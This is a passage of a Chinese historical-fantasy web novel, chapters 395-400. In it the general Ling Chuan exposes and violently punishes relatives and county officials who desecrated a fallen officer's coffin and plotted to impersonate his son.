“是!”苍蝇连忙领命。 正午时分,一匹快马自前方奔来,尽管来人身着便服,凌川仍一眼认出那是洛青云麾下的骑兵。 那士兵利落地翻身下马,将一封密信呈到凌川手中。 凌川展开信纸,目光迅速扫过,脸色逐渐阴沉,眸中杀机毕露。 “我看你们是活得不耐烦了!”他声音冰冷,周身气息都为之一凛。 苍蝇见状,连忙上前低声询问:“将军,出了何事?” 凌川并未答话,直接将密信递了过去,苍蝇如今已非昔日那个大字不识一个的士兵,在凌川的督促下一直在识字断文,他接过信纸细看,眉头越皱越紧。 信中禀报,寇悔等人抵达乐平县后便秘密展开调查,因人生地不熟,又不能惊动官府,进展颇为缓慢。 幸而小队中有十余名并州籍士兵,其中一人正是乐平本地人,通过些私人关系,终于查到一条关键线索。 乐平县校尉秦福元对外宣称,秦简遗孀卷走恤银之后,他不忍见忠烈之后流落街头,已将秦简将军的遗子接回府中照料,不日将奉旨送往神都。 这简短的信息背后,隐藏的阴谋却是昭然若揭。 第一卷 第395章 爹爹是大英雄 秦简的独子秦羽明明就在他们的马车里,对方却公然声称已将孩子收养,再联想到沿途所见那张污蔑吴氏‘抛弃亲子、卷款潜逃’的海捕文书,凌川已将整件事的来龙去脉猜到了七八分。 这一切的根源,都在于那道圣旨——朝廷追封秦简为武毅将军,并恩准其子入大理寺任职。 “将军,这分明是有人想要冒名顶替秦羽去神都啊!”苍蝇放下密信,恍然惊道。 凌川微微颔首,对那传信士兵沉声吩咐:“速去告知寇悔,给我彻查此事!所有参与之人,一个都不许漏掉,待本将军亲自处置!” “遵命!”士兵领命,翻身上马疾驰而去。 尽管秦羽年幼,不可能立即赴任,但按例将入国子监修习,待成年后便可直接出任大理寺寺承。 这可是陛下亲许的六品官职,是无数寒门学子苦读十年都难以触摸到的门槛。 虽无人会羡慕这用父亲性命换来的恩荫,却难保没有人不眼红。 起步便是六品京官,还是在大理寺这等要害部门,可谓平步青云。 无论日后留任大理寺,还是转调刑部、内阁乃至督查院,前途皆不可限量,而且,历朝宰相中,便不乏从大理寺出身者。 在如此巨大的诱惑下,有人铤而走险,也就不足为奇了。 种种迹象表明,这是有人精心策划的一场偷天换日之计,意图冒名顶替秦羽,夺取那个陛下‘钦点’的前程,故而才会绑架吴氏母子,再以通缉文书混淆视听,堵住那些不知情的百姓之口。 按目前行程,明日天黑前便可抵达乐平县,凌川暗自思忖对策,此处不比北疆,行事不能再那般肆无忌惮。 当晚,凌川让苏璃请吴氏母子一同用饭,看得出吴氏教养良好,秦羽在她教导下也十分乖巧懂事。 闲谈中凌川得知,以往秦简的军饷寄回家后,吴氏省吃俭用,坚持送秦羽读书。 凌川又询问其家世,得知他们住在乐平县城南,邻里多是同族,但因秦简常年戍边,家中缺少劳力,田地只得租与他人,每年收些粮食糊口,若非有军饷接济,母子二人生活都成问题。 邻里只知秦简在北疆从军,却不清楚其军职,所以,平日里欺负他们孤儿寡母之人,也不在少数。 直到此次节度府送回骨灰、宣读圣旨,众人方知秦简已是堂堂五品将军。 次日清晨,凌川照例晨练,忽见一个小小身影在不远处驻足观望,正是秦羽,凌川收刀入鞘,含笑走近。 小家伙似有些畏惧,想要退回屋中,但见凌川笑容温和,便攥着衣角站在原地。 “羽儿,有事吗?”凌川蹲下身,与他平视。 秦羽摇了摇头,目光却始终黏在凌川腰间的佩刀上。 “叔叔!”他怯生生地问,“你的刀为什么跟我爹爹那把不一样?” 凌川郑重说道:“你爹爹那把刀,可比叔叔这把厉害得多!” “真的吗?”秦羽抬起纯真的眼眸,将信将疑。 凌川轻抚他的头顶,温声道:“自然是真的,你爹爹是大英雄,他的刀斩杀过无数胡贼,叔叔这还是一把新刀!” 闻言,秦羽眼中顿时迸发出骄傲的光彩,用力点头,自言自语道:“我爹爹是大英雄……我才不是没爹的小野种!” 这话像一根针,猝然刺痛凌川的心。 显然,因秦简常年不在家,这孩子没少受同龄人的欺侮和嘲笑。 忽然,秦羽抬起头,目光坚定:“叔叔,羽儿不想读书了,羽儿想跟爹爹一样,去北疆杀敌!” 凌川神色一凝,柔声道:“你爹爹已经把你那份敌人也杀够了,往后的边关,有叔叔和许多像叔叔这样的人守着。你的职责,是好好读书孝敬娘亲,将来做了官让更多百姓过上好日子!” 小家伙似懂非懂,却仍乖巧地点了点头。 次日日落前,队伍终于抵达乐平县,洛青云已派人先行抵达,一是与寇悔小队接头,再则是安排落脚之处。 县中最大的酒楼被整体包下,这家酒楼虽不足以容纳全军,但后院尚有空地,稍加整理也能驻扎。 刚安顿下来,凌川便吩咐苍蝇,无论何人来访,一律不见! 不久,寇悔的密报便送至凌川手中,展信细读,凌川发现寇悔已将事情查得八九不离十,为免打草惊蛇,尚有些细节未敢深挖。 尽管早有所料,但当真相白纸黑字呈于眼前时,凌川胸中杀意仍如潮涌般难以抑制。 有些人,当真是胆大包天!竟敢对边军忠烈的遗孀家眷下手,连陛下亲封的恩荫都敢冒名顶替! 密信末尾附着一份冗长的名单,凌川的目光扫过那些名字,瞳孔骤然收缩。 尽管他此前已经猜到,这件事的背后牵涉很深,毕竟,一般人根本没有这样的胆量,但,他还是低估了人性的丑恶,名单之上,竟连秦简的堂兄秦胜也赫然在列! 凌川当即提笔,亲手写下两封密信,命人火速送往并州,一封递交给并州将军刘熙图,另一封则直送并州廷尉府。 再次回到乐平县,这个熟悉却又充满悲伤和恐惧的地方,让吴氏显得心神不宁。 苏璃见状,柔声宽慰道:“姐姐不必忧心,既然我家相公承诺要为秦将军和你们母子讨回公道,便绝不会食言!” 吴氏眼中忧虑未减,低声道:“夫人,你们先前的谈话我都听见了,此事牵连乐平县兵校尉,甚至县令大人也参与其中,我只怕会给你们招来祸事!” “姐姐此言差矣!”苏璃握住她冰凉的手,语气坚定,“秦将军是北系军将领,北系军便是你们母子的娘家人。如今亲人蒙冤受辱,我家相公若是视而不见坐视不理,他必将受所有北系军唾弃,就算对方势力强大又如何?难道还能强过四十万北系军吗?”这番话掷地有声,终于让吴氏稍稍安心。 恰在此时,凌川推门而入,朗声道:“娘子说得极是!我若连为同袍妻儿讨个公道都做不到,还有什么脸面穿这身将军铠甲?” 他向苏璃投去赞许的目光,随即对吴氏温言道:“嫂子且安心歇息,明日一早,我们便回去为秦将军风风光光地操办葬礼!” 第一卷 第396章 歹毒至极 次日破晓,一辆马车悄然离开客栈,驶向城南。车内坐着苏璃和吴氏母子,凌川带着苍蝇、孟钊等十余名亲兵骑马随行。 马车驶入城南小巷,鸡鸣犬吠之声渐起,家家户户炊烟袅袅,正是做早饭的时辰。 不多时,便来到秦简故居前。 只见院门早已被人撞开,歪斜在旁,院内屋内一片狼藉,因两个多月无人居住,到处积着厚厚的灰尘,空气中弥漫着浓重的霉味。 然而最刺目的,是正堂中那口翻倒在地的棺材,棺盖滑落一旁,堂前散落着早已变色的纸钱灰,更令人心悸的是,一股若有若无的腐臭味正从屋内飘出。 凌川正要上前查看,吴氏却已抢先冲了进去,扑到丈夫的棺椁前。 “哇!” 一声悲恸欲绝的哭嚎骤然响起,“这些天杀的畜生……”吴氏失声大哭,声音因极致的悲愤而颤抖,“我丈夫都已经战死了,你们为何还要这样作践他……” 凌川示意苏璃带着秦羽留在马车内,自己与苍蝇等人快步进屋。 越靠近棺材,那股腐臭味越发浓烈,众人皆是一怔。 北疆节度府送回的明明是秦简的骨灰,何来腐败之气? 凑近棺椁一看,只见歪倒的棺材内放着一只熟悉的瓷罐,那正是北疆节度府用来盛放阵亡将士骨灰的器皿。 旁边是一副残破的狻猊吞海锁环甲,甲片散落,上面还凝结着深褐色的血迹。 然而令人发指的是,那副铠甲之上,竟横陈着一只死去的黑狗。 那狗显然是在棺内被宰杀的,狗血喷溅得到处都是,时值八月酷暑,尸体早已高度腐烂,蛆虫在棺木中蠕动攀爬,令人头皮发麻。 此举背后的恶毒用心,更是丧尽天良。 中原多地民间流传着一种说法,若将黑狗血埋入风水宝地,葬于此地之人将永世不得超生,其后代也会厄运缠身、家破人亡。 虽是无稽之谈,但行此恶事之人的歹毒心肠,已然昭然若揭。 吴氏扑在棺沿,哭得撕心裂肺:“老天爷啊!我们一家从未作恶,我丈夫为国战死沙场,为何死后还要受这等凌辱和诅咒啊?” 凌川强压下滔天杀意,上前搀扶:“嫂子,你先进屋歇息,这里交给我们来处理。” 吴氏泪流满面,双手死死抓着棺木边缘,指甲因用力而发白。 正在此时,一男一女出现在门口张望。 那男子约莫四十多岁,满脸横肉;女子生着细长眼、高颧骨、薄嘴唇,一副刻薄相。 “哟!原来是你这扫把星还敢回来?大清早的,号什么丧呢?”那女子刻意瞥了眼歪倒的棺材,阴阳怪气地冷笑道。 来者不是别人,正是秦简的堂兄秦胜与其妻郑秀菊。 自秦简父亲去世后,这对夫妇就一直觊觎秦简家的田产,因吴氏始终不肯退让,他们便变着法子欺压这孤儿寡母。 特别是郑秀菊,多年来四处散播谣言,污蔑吴氏不守妇道,甚至造谣说秦羽不是秦简的种。 夫妇二人大摇大摆地走进院子,郑秀菊双手抱胸,嗤笑道:“听说你卷了秦简那短命鬼的抚恤银,跟野男人跑了?怎么还有脸回来?” 悲愤到极点的吴氏死死瞪着他们,颤抖的手指着丈夫的棺椁,咬牙问道:“此等丧尽天良的事,是不是你们干的?” 满脸横肉的秦胜瞥了眼棺材,得意笑道:“我这是为你们家好!秦简死在北疆,连个全尸都没有,总不能抬口空棺材下葬吧?” “你们……你们不得好死!”吴氏声嘶力竭地吼道。 “哈哈哈哈……”秦胜夫妇闻言,竟肆无忌惮地大笑起来。“你还是先操心你自己吧!现在满城都是你的海捕文书,敢回来就是自投罗网!” 说罢,秦胜竟嚣张地抬起一只脚,直接踩在棺盖上,狞笑道:“至于秦简那个短命鬼,我要他永世不得翻身!” 这时,郑秀菊注意到了吴氏身旁的凌川。 她上下打量着他,讥讽道:“难怪要卷银子跑路,原来是勾搭上这么个小白脸!吴慧兰,我早就看出你是个不守妇道的贱货!今天被老娘抓个正着,看你还怎么狡辩!” 凌川冰冷的目光如利刃般扫过她,沉声道:“掌嘴!” 郑秀菊还没反应过来,苍蝇已大步上前,抡圆了胳膊狠狠一巴掌扇在她脸上。 “啪!”清脆的耳光声响起。 郑秀菊当场被打懵了,只觉半边脸火辣辣地疼。 待回过神来,她张口便要辱骂:“你妈……” “啪!” 不等她骂出口,苍蝇反手又是一记耳光,抽在她另一边脸上。 这两记结结实实的巴掌,打得郑秀菊双颊瞬间肿起,嘴角渗出血丝,她晃了晃才站稳,眼中燃起怨毒的火焰。 一旁的秦胜见妻子挨打,撸起袖子就要冲上来。 忽然,一股刺骨寒意袭遍全身,只见一柄冰冷的战刀已架在他的脖子上。 秦胜浑身一僵,强作镇定地喝道:“你们是什么人?竟敢……” “跪下!”孟钊冰冷的声音从身后传来,刀锋又逼近半分。 “我……我警告你们!现在满城都在通缉吴慧兰这个贱人!你们敢包庇她,就是跟整个乐平官府作对!”秦胜强撑着气势,试图用官府的名头吓退对方。 谁知孟钊根本不吃这套,抬腿一脚狠狠踹在他的腘窝。 秦胜噗通一声重重跪倒在地,刚要挣扎起身,那冰冷的刀锋又贴上了他的脖颈。 刺骨的寒意顺着皮肤蔓延,秦胜浑身一颤,双腿不受控制地发抖。 郑秀菊见丈夫受制,转而将满腔怨毒泼向吴慧兰:“你这个不要脸的贱货!竟敢勾结贼寇!你等着,你们全都不得好死……” “啪!” 又是一声脆响,但这次苍蝇没用巴掌,而是反手抽出腰间战刀,用厚重的刀身狠狠抽在她脸上! 霎时间,郑秀菊整张脸皮开肉绽,鲜血淋漓。 她张口吐出一大口血水,混着几颗被打落的牙齿,不待她惨叫,苍蝇又抡起刀背狠狠砸在她肩头,郑秀菊双腿一软,噗通跪倒在地,浑身疼得直抽搐。 第一卷 第397章 战刀长眠! 凌川居高临下地睥睨着二人,声音仿佛淬了冰:“我问,你们答。” 到了这个地步,这对平日作威作福的夫妇是真怕了。 对方眼神里毫不掩饰的杀意,让他们毫不怀疑,只要敢说个不字,立马就会身首异处。 “你……你想问什么?”秦胜哆嗦着问道。 “是你们主动找上的秦福元,还是他指使的你们?”凌川声音森寒,周身散发的杀气几乎凝成实质。 二人闻言,身子猛地一颤,他们万万没想到,对方连秦校尉参与其中都一清二楚。 见秦胜眼神闪烁、迟疑不答,只见寒光一闪,孟钊手起刀落,竟直接将他左耳削了下来! “啊!”凄厉的惨嚎划破清晨的寂静,秦胜捂着鲜血喷涌的伤口,疼得满地打滚。 “同样的问题,我不想问第二遍!”凌川的声音依旧平静,却比严冬的寒风更刺骨。 “是、是秦校尉和冯大人!都是他们指使我们干的!不关我们的事啊……”秦胜涕泪横流,含糊不清地哀嚎道。 其实凌川心里明镜似的,县兵校尉秦福元和县令冯济才必定脱不了干系。 但像在棺材里宰杀黑狗这种下作手段,倒不像那那种人物的手笔,此举虽恶毒至极,终究是上不得台面的宵小行径。 “这黑狗,也是他们让你杀的?”凌川厉声喝问。 “这……”秦胜眼神躲闪,支吾不语。 孟钊见状,手中战刀又压紧三分,锋利的刀刃已然割破皮肉,血珠顺着脖颈滑落。 “敢有半句虚言,我现在就叫你们人头落地!”孟钊的声音如同死神的宣告。 亲眼见到秦将军的骨灰棺椁遭此践踏,所有亲兵胸中都憋着一股熊熊怒火。 “是……是我自作主张……”秦胜吓得魂飞魄散,颤声道,“我听老人说……黑狗血能镇魂……我、我怕秦简的鬼魂回来报复,就,就想了这个法子……” “好!很好!”凌川怒极反笑,“想不到你们这等货色,心里还信鬼神索命!那你们可曾想过,自己此举会招来怎样的现世报?” “我错了!我们知道错了!我们再也不敢贪图银子和地契了……”秦胜磕头如捣蒜。 听到这话,吴氏猛然惊醒,冲进屋内,很快屋里便传来一阵翻箱倒柜的声响。 不多时,她红着眼眶冲出来,指着二人嘶声质问:“银子呢?地契呢?是不是你们偷走了?” 秦胜慌忙用手肘撞了撞身旁的妻子,郑秀菊捂着肿痛的脸,含糊道:“银子……花了一些,剩下的连地契都、都收在家里了……” “苍蝇,带她去取!”凌川下令。 苍蝇点头,一把揪起郑秀菊就往外拖。 接着,凌川又对孟钊吩咐:“你带几个弟兄,去城里买口上好的新棺材来。” “是!”孟钊领命而去。 不多时,郑秀菊被押了回来,手里捧着一个蓝布包袱。 吴氏一把夺过,打开一看,里面正是丈夫的抚恤银和家中地契,但银子明显少了近百两,想到自己与儿子一路乞讨、几度濒死的惨状,她气得浑身发抖。 再看这对夫妇,身上穿着崭新的绸衫,郑秀菊腕上戴着一对碧玉镯子,发间还插着金簪,这绝非他们平日能负担得起的穿戴,钱财来历不言自明。 “这是我丈夫用命换来的银子!你们竟敢拿去挥霍,就不怕遭雷劈吗?”吴氏指着他们,咬牙切齿。 凌川示意她稍安勿躁,沉声道:“嫂子放心,如果老天爷不惩罚他们,我来就是了!” 这话让秦胜夫妇如坠冰窟,浑身剧颤。 凌川转而冷冰冰地对二人下令:“给你们一刻钟,把棺材里外清理干净!” 二人顿时面如土色,那棺中不仅有腐烂的死狗,更因做了亏心事,对秦简的遗物有种本能的恐惧,踌躇着不敢上前。 凌川对一旁亲兵淡淡道:“一刻钟后若未清理干净,直接送他们上路!” 此言一出,二人吓得魂飞魄散,只得强忍恶臭,战战兢兢地开始清理。 然而那腐臭气味根本不是单靠意志能抵挡的,很快二人便胃里翻江倒海,趴在地上呕吐不止。 连守在一旁的两名亲兵也胸腹翻腾,却仍强忍着坚守在一旁。 凌川让吴氏先进屋歇息,同时命其他亲兵帮忙打扫屋内积尘,毕竟已两个多月无人居住。 一刻钟后,秦简的骨灰罐和铠甲等遗物终于被清理出来,污渍也仔细擦拭干净。 几名亲兵正要抬走那口装着黑狗尸体的旧棺材,却被凌川出声制止。 “这口棺材先放在院里,我有用!”亲兵虽不解,仍依言照办。 这时,门外传来驴车声响,孟钊带回一口崭新的黑漆棺材。 众人合力将其抬进正堂,凌川与吴氏亲手将秦简的骨灰罐与遗物郑重放入新棺中。 “爹爹的刀……不见了!”身披孝服的秦羽忽然小声说道。 吴氏闻言一惊,仔细清点才发现丈夫的佩刀果然不在遗物中。 蹲在角落瑟瑟发抖的秦胜夫妇见众人目光扫来,慌忙摆手:“刀不是我们拿的!是秦虎!是秦虎拿走的!” 凌川没有多问,只对孟钊简短吩咐:“把人带来。” “是!”孟钊抱拳领命,转身大步离去。 秦虎与秦简虽算同宗,实则早已出了五服,住处倒是不远,孟钊没费什么功夫便找到了秦虎家。 秦虎虽生得人高马大,可被孟钊押着带到时,却是鼻青脸肿,嘴角还挂着未干的血迹,狼狈不堪。 跪在秦简灵堂前的秦胜夫妇见状,心头又是一紧。要知道,秦虎可是出了名的凶狠霸道,可这才多久点功夫,竟然被收拾得服服帖帖。 此时的秦虎早已没了往日的嚣张气焰,整个人像霜打的茄子般彻底蔫了。 孟钊上前,将一把刀刃布满豁口的战刀双手呈给凌川。 凌川接过细看,确认是北系军制式将官佩刀,但仍转向吴氏问道:“嫂子,你仔细辨认,这可是秦将军的刀?” 吴氏接过刀,指尖颤抖地抚过刀身上那些熟悉的痕迹,一旁的秦羽也踮起脚尖,指着刀刃上那些缺口细数起来:“娘,这就是爹爹的刀!羽儿记得很清楚,上面一共有十二个缺口!” 凌川微微颔首,目光转向鼻青脸肿的秦虎,声音平静却带着不容置疑的威压:“刀,是你拿的?” 第一卷 第398章 罪过,罪过! 秦虎虽不知凌川身份,却被他周身那股凛然气势所慑,再联想到刚才那人的恐怖实力,只能讷讷点头:“是……是我拿的!” “拿去做何用途?”凌川再问,语气依旧平淡,却让人不寒而栗。 “砍……砍柴……”秦虎支吾道。 凌川从吴氏手中重新取回战刀,指节因用力而微微发白,声音却异常平静:“此刀随秦将军征战半生,饮尽胡羯血。半年前将军殉国,理当随主长眠,你竟敢私自窃取,可知该当何罪?” “我……”秦虎还想狡辩,却见一道寒光如闪电划过。 “嗤!” 利刃划破咽喉的轻响传来,一道血箭飙射而出。 秦虎双眼圆瞪,双手死死捂住脖颈,却阻不住生命随鲜血流逝,他身体晃了晃,缓缓瘫倒在地。 这干脆利落的一刀,让跪在灵堂前的秦胜夫妇面无人色,如坠冰窟。 秦虎不过窃取了秦简的遗物,便落得如此下场,想到自己二人那些更恶毒的所作所为,他们内心瞬间冰凉,绝望顿时淹没了他们。 凌川不慌不忙地用秦虎的衣襟拭去刀上血迹,随后将战刀归鞘,郑重放入棺中。 他比谁都清楚,战刀对于边军有着何等意义。 这把伴随秦简戎马半生的佩刀,陪同他上阵杀敌的伙伴,终于完成了它的使命,将继续陪伴旧主长眠于九泉之下。 孟钊立即示意两名亲兵将秦虎的尸身拖走。 随后,凌川吩咐苍蝇带人留守灵堂,自己则独自返回客栈,调遣其余亲兵前来护卫,他担心有人狗急跳墙,会对吴氏母子不利,毕竟身处他人地界,万事皆需谨慎。 而凌川自己,则亲率洛青云及三百精骑,直奔县衙而去。 原本凌川并未打算惊动沈七岁与一禅小和尚,但二人听闻凌川有所行动,主动请缨同行。 县衙距此不远,骑兵队伍片刻即至。 来到衙门前,只见大门紧闭,凌川直接下令破门。 几名睡眼惺忪、衣冠不整的衙役闻声赶来,见到这群甲胄森严的骑兵,当场吓傻。 洛青云大手一挥,麾下士兵一拥而上,将众衙役尽数制服。 “冯济才在何处?”凌川冷声问一名衙役。 那衙役虽不识凌川身份,但颈间冰凉的刀锋让他很快认清现实,颤巍巍地指向县衙后院。 洛青云立即分派兵力,一部守住衙门大门,一部看押衙役,另派一队迅速控制县衙各要害,他亲自率领一队精锐,紧随凌川直奔后院。 此时,县令冯济才正搂着新纳的年轻美妾酣睡,或许是昨夜‘操劳’过度,日上三竿仍鼾声如雷。 “老爷……外边好像有动静!”美妾柔声提醒。 年过半百的冯济才勉强睁开惺忪睡眼,见怀中玉体横陈,雪肤丰腴,不由得又心猿意马起来。 “哪有什么动静,我的小娘子……”他一把搂住美妾,粗鲁地将她的头往被窝里按去。 女子娇嗔一声,正要俯首,忽听一声巨响。 “砰!” 房门被人暴力踹开,年轻美妾吓得惊叫出声,冯济才刚燃起的那点欲火也瞬间熄灭。 他正要怒斥,只见三道身影逆光而入。 为首者是个眉目英挺、气度凛然的年轻男子,身后跟着两名少年,左边那个扎着冲天辫,背负一口硕大木匣;右边是个光头小和尚,目光澄澈。 三人径直走近,将床上来不及遮掩的香艳风光尽收眼底。 尤其是那小和尚,一双眼睛瞪得溜圆,直勾勾地盯着那具一丝不挂的娇躯。 “你们是什么人?竟敢擅闯本官寝居!滚出去!”冯济才又惊又怒,厉声呵斥。 “阿弥陀佛!罪过,罪过……” 冯济才的怒喝将小和尚从呆滞中惊醒,他慌忙竖起单掌高诵佛号,转身对凌川道:“将军,小僧……眼睛疼,在去外面守着!”说罢逃也似的快步而出。 凌川泰然自若地拉过一把椅子坐下,沈七岁则将剑匣重重顿在地上,抱臂立于凌川身后。 床上二人被这份从容气度彻底镇住。 那年轻美妾甚至忘了自己正春光乍泄,目光痴痴地黏在凌川身上,这般英挺俊朗的男子,与身边这肥硕老朽相比,直教人暗叹明珠投暗…… “一大把年纪,还纳这般年轻的小妾,真是嫌命长啊!”沈七岁摇头轻叹。 这话打破了室内凝滞的气氛,年轻美妾这才惊觉自己身无寸缕,慌忙拉过锦被遮掩,连头都埋了进去。 “来人!快来人啊!”冯济才放声大喊。 然而门外寂然无声,凌川唇角微扬,淡淡道:“冯县令,你手下那些人已经被我拿下,我劝你,省些力气!” 冯济才浑身一颤,惊惧交加:“你……你究竟是谁?想干什么?” 凌川不疾不徐地答道:“在下北系军云州副将凌川,今日特来向冯县令请教几个问题。” 虽说是‘请教’,可那语气中却带着不容置疑的强硬,字字如铁,掷地有声。 冯济才却未能细辨这层意味,当‘北系军云州副将凌川’这半句入耳,他脑中便嗡的一声,霎时间面如死灰,整个人如筛糠般不受控制地哆嗦起来。 “原、原来是凌将军大驾光临……下官、下官这就起身,还请将军稍候片刻!”他语无伦次,挣扎着想要下床。 凌川却轻轻摇头,目光如冰刃般将他钉回原处:“不必麻烦了,冯县令就躺着答话吧!” “将、将军……想问什么?”冯济才的声音抖得不成样子。 “我北系军将领秦简,战死边关,可他的妻儿却遭人绑架,更被官府张榜通缉!”凌川声音依旧平稳,可那双眼睛却锐利如鹰,仿佛两柄寒光凛冽的刀,直抵冯济才的咽喉,“本将军想问问县令大人,可知晓此事?” “下官……略知一二……”冯济才冷汗涔涔,舌头仿佛打了结,“此、此事缘于秦简遗孀吴氏,她抛弃亲子,卷走抚恤银两潜逃……下官这才下令海捕通缉……” 凌川闻言,唇角勾起一抹极淡的冷笑。那笑意未达眼底,反而让冯济才觉得头皮一阵发麻,仿佛被毒蛇的信子舔过脖颈。 第一卷 第399章 不见棺材不落泪 “冯县令!”凌川的声音依旧听不出波澜,可一股冰冷的杀意已如实质般在房中弥漫开来,“我希望你想清楚了再回答,本将军再给你一次机会,若答案不能让我满意,就莫怪凌某不讲情面了!” “将军!下官句句属实,不敢有半分欺瞒啊!”冯济才强撑着最后的镇定,慌忙辩解。 凌川不再看他,转而望向身旁的沈七岁,轻叹一声,那叹息里带着几分嘲弄,几分凛冽: “这世上有些人啊,真是不见棺材不落泪。” 沈七岁闻声会意,右手在剑匣上轻轻一拍,剑匣应声而开。 只见他并指如剑,凌空一挥,六道寒光自匣中迸射而出,宛如游龙惊鸿,直取床榻之上的冯济才! 冯济才何曾见过这等御剑凌空的神仙手段?眼见六把飞剑携着森然剑气扑面而来,他吓得魂飞魄散,裤裆瞬间湿了一片。 被窝里的年轻美妾更是失声惊叫,猛地掀开锦被跳了起来,胡乱擦拭着脸上的淡黄色水渍。 随即意识到身无寸缕,又慌忙扯过被角遮掩,这一扯,反倒将冯济才那副狼狈不堪的丑态彻底暴露在众人眼前。 “饶命!将军饶命啊!”冯济才声嘶力竭的哀嚎,整个人缩成一团。 那六把飞剑却在他面前一尺之处骤然悬停,剑尖微颤,凛冽的寒意刺得他肌肤生疼,年轻美妾裹紧被子蜷在床角,抖如筛糠。 “冯县令,我再提醒你一句,你只有这一次机会!”凌川语气平淡,却自带杀机。 “下官明白!下官一定如实交代!”冯济才额上冷汗密布,再不敢有半分侥幸,如同竹筒倒豆子般将事情始末和盘托出。 说到最后,他竟挤出几滴眼泪,摆出痛心疾首的模样哭诉道:“将军明鉴!此事全是校尉秦福元一手策划,下官虽为一县之主,可他手握兵权,又是黄将军的亲信,下官……下官也是被迫无奈啊!” “照你这么说,你全程都是被胁迫的,未曾从中捞取半分好处?”凌川挑眉问道。 冯济才本能地就要点头,可悬在眉心的那柄赤红飞剑突然发出一声清越颤鸣,剑芒暴涨,刺得他双目生疼。 他浑身一颤,慌忙将到嘴的谎话咽了回去,硬着头皮交代:“秦校尉承诺……事成之后,朝廷给秦简的所有封赏,都归下官所有……” 朝廷对阵亡将领的封赏,远不止区区抚恤银和子荫官职。追封武毅将军的殊荣背后,还连着食邑封地,以秦简的功勋,至少是两千户的规模。 这足以让子孙后代永享富贵,也难怪冯济才会铤而走险,与秦福元狼狈为奸。 冯济才交代的诸多细节,比寇悔此前探查到的更为详尽,凌川强压下翻涌的杀意,对沈七岁微微颔首,少年剑指一收,六把飞剑如倦鸟归林,倏然回匣。 “将军,下官都已如实交代了!这就撤销海捕文书,求将军饶命啊!”冯济才叩首如捣蒜。 “给你一盏茶的时间穿衣服,随后去秦将军灵前守灵!”凌川起身拂袖,径直离去。 片刻后,有百姓瞧见冯县令被两名士兵一左一右架着胳膊,步履踉跄地往城南方向而去,模样好不狼狈。 而凌川已率领麾下骑兵,直奔城东县兵大营。 此前已得知,乐平县驻军千余,大营设于城东,午时未至,三百余铁骑已驰至营门。 “来人止步!军营重地,不得擅闯!”守营士兵厉声呵斥。 洛青云纵马前出,高举手中马槊,声如洪钟:“镇北将军奉命接管乐平军营,所有人不得妄动!” 凌川却毫无勒马之意,反而是一夹马腹,提速前冲。 三百铁骑如影随形,在县兵尚未反应过来关闭辕门之前,已如一股钢铁洪流涌入营中。 这些久经沙场的边军骑士甲胄鲜明,面容冷峻,周身散发的肃杀之气,竟压得营中县兵不敢上前。 正当此时,一名身着校尉铠甲的将领率亲兵匆匆赶来,拦住去路怒喝道:“何人胆敢擅闯军营?” 端坐马背的凌川冷眼俯视,来人身形中等,年约四旬,正是乐平校尉秦福元。 “大胆!见镇北将军还不跪迎!”洛青云颐指气使,大喝道。 秦福元脸色骤变,几日前他接到的消息还称凌川部尚在定州休整,昨夜却突闻其已抵达乐平。 他连忙派出眼线监视,自己则准备前去登门拜访,可刚才披好甲胄还未出门,不料对方竟抢先一步来到营中,而所有眼线竟无一人回报。 他哪里知道,那些眼线早已被沈珏带人悄无声息地拿下。 强压下心头不安,秦福元连忙单膝跪地,抱拳道:“乐平校尉秦福元,拜见镇北将军!不知将军驾临,有失远迎,万望恕罪!” “本将军有军务在身,从现在开始,接管乐平县一切军务,还望秦校尉配合!” “属下……遵命!”秦福元眼神闪烁,虽觉事有蹊跷,却不敢违逆。 这位可是陛下亲封的镇北将军,持节地方,特殊情况可在神都之外的任何地方,提调三千兵马,任何人不得抗命。 洛青云利落下马,大步来到秦福元面前伸手说道:“秦校尉,按规矩,请交出校尉铁牌!” 秦福元内心顿感不安,他敏锐察觉到,对方这是要拿掉他的兵权,可在凌川那锐利的目光注视之下,他也只能缓缓取下校尉铁牌交到洛青云手中。 “不知将军有何指示,还请进校尉府细说!”秦福元开口说道。 凌川点了点头,说道:“行,正好有些事情想跟你确认一下!” 秦福元这才起身带路,凌川让洛青云在外面等候,主要是掌控县兵营中的局势,而他自己则是带着沈七岁与小和尚二人紧跟秦福元,朝校尉府走去。 “七岁,这次不会遇到之前的情况了吧?”小和尚小声问道。 沈七岁回想起之前进入冯县令房间看到的那些香艳画面,不由笑道:“那你是想看到,还是不想看到?” “罪过,罪过,师傅说过,红粉骷髅、众生无相……”小和尚双手合十,一本正经地说道。 “你少来,我见你当时连眼珠子都快掉出来了!”沈七岁直接敲了敲他的小光头,说道。 第一卷 第400章 静看表演 踏入校尉府正堂,凌川步履从容,径直于主位落座。 他深知言语压君子,衣冠镇小人的道理。 面对秦福元这般背倚权贵、心怀叵测之徒,若不能在气势上先声夺人,想让其吐露实情,无异于痴人说梦。 沈两位少年静立其后。 沈七岁依旧是那副漫不经心的模样,斜倚着从不离身的剑匣,仿佛周遭一切皆与己无关;一禅则低眉垂目,单掌竖于胸前,指尖一颗颗捻动着乌木佛珠,唇齿微动,默诵经文。 凌川端坐不语,只悠然品着杯中清茶,任由沉默在厅堂中蔓延、发酵。 秦福元终究按捺不住,率先开口,语气恭敬中带着试探:“不知将军大驾光临,有何吩咐?” “本将为此行,是为秦简遗孤而来!”凌川撂下茶盏,目光如炬,开门见山。 秦福元闻言,面色虽竭力维持平静,但眼底深处那一闪而逝的惊惶,如何能逃过凌川锐利的眼睛。 “沿途走来,本将见各处张贴海捕文书,言及秦简遗孀吴氏卷走抚恤银两,弃子潜逃。不知此事,是真是假?”凌川身体微微前倾,目光紧锁秦福元,不容他有丝毫闪避。 “确…确有此事!”秦福元轻叹一声,脸上适时堆起愤懑之色,“秦简将军英勇盖世,不曾想却遇人不淑,他尸骨未寒,那吴氏竟做出如此人神共愤之举!属下实在不忍忠良之后流落街头,忍饥挨饿,故而将其接入府中暂为照料。原打算待其情绪稍稳,便择日送往神都,面圣复旨!” 凌川不动声色,微微颔首:“秦校尉有此仁心,实乃难得!秦简既是我北系军将领,他的事便是整个北系军的事。本将此番正欲奉旨返京,恰好可携秦羽同行,护送他前往神都,也好了却秦简在天之灵一桩心事!” 秦福元眼中掠过一丝难以察觉的慌乱,虽瞬间被他以干笑掩饰过去,却未能尽消痕迹:“将军过誉了,卑职虽身处并州腹地,亦不敢忘军中同袍之谊,岂能坐视忠良之后蒙难而无动于衷?” 